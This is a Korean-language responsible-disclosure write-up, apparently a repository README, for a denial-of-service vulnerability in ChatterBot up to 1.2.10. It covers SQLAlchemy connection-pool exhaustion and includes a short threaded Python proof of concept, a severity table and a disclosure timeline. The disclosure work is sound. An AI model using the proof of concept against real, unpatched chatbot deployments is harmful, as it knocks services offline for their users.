
CVE-2026-23842 — ChatterBot ≤ 1.2.10에서 동시 get_response() 호출 시 SQLAlchemy 연결 풀 고갈로 인해 발생하는 높은 심각도의 서비스 거부(Denial-of-Service) 취약점.
이 저장소는 ChatterBot의 높은 심각도 서비스 거부(Denial-of-Service) 취약점인 CVE-2026-23842에 대한 제 발견 및 책임 있는 공개(Responsible Disclosure) 과정을 문서화합니다.
ChatterBot 버전 ≤ 1.2.10은 부적절한 데이터베이스 세션 및 연결 풀 관리로 인한 서비스 거부(Denial-of-Service) 조건에 취약합니다.
다음의 동시 호출:
get_response()
은(는) 기본 SQLAlchemy QueuePool을 고갈시켜 다음과 같은 결과를 초래할 수 있습니다:
sqlalchemy.exc.TimeoutError<= 1.2.10
>= 1.2.11
ChatterBot은 데이터베이스 상호작용을 위해 SQLAlchemy에 의존하며 기본 연결 풀 구성을 사용합니다.
그러나:
여러 스레드가 동시에 get_response()를 호출하면:
TimeoutError를 발생시킴이로 인해 서비스 전반에 걸친 가용성 거부가 발생합니다.
from chatterbot import ChatBot
import threading
bot = ChatBot("dos-test")
def attack():
bot.get_response("hello")
threads = []
for _ in range(30):
t = threading.Thread(target=attack)
t.start()
threads.append(t)
for t in threads:
t.join()
다음 영상은 다음을 시연합니다:
다음과 같이 배포된 경우:
공격자는 인증 없이 원격으로 이 조건을 트리거할 수 있습니다.
| 지표 | 값 |
|---|---|
| 공격 벡터 | 네트워크 |
| 공격 복잡성 | 낮음 |
| 필요한 권한 | 없음 |
| 사용자 상호작용 | 없음 |
| 기밀성 | 없음 |
| 무결성 | 없음 |
| 가용성 | 높음 |
| 날짜 | 이벤트 |
|---|---|
| 1월 9일 | 취약점 보고 |
| 1월 13일 | 유지보수자가 문제 재현 |
| 1월 17일 | Advisory 게시 |
| 1월 19일 | CVE-2026-23842 지정 |
| 1월 21일 | 공개 릴리스 |
발견 및 책임 있는 공개:
Aditya Bhatt VAPT 전문가 CVE-2026-23842 신고자
이 취약점은 공개 릴리스 이전에 유지보수자에게 책임 있게 공개되었습니다. 패치 제공 이전에는 어떤 익스플로잇도 공개적으로 공유되지 않았습니다.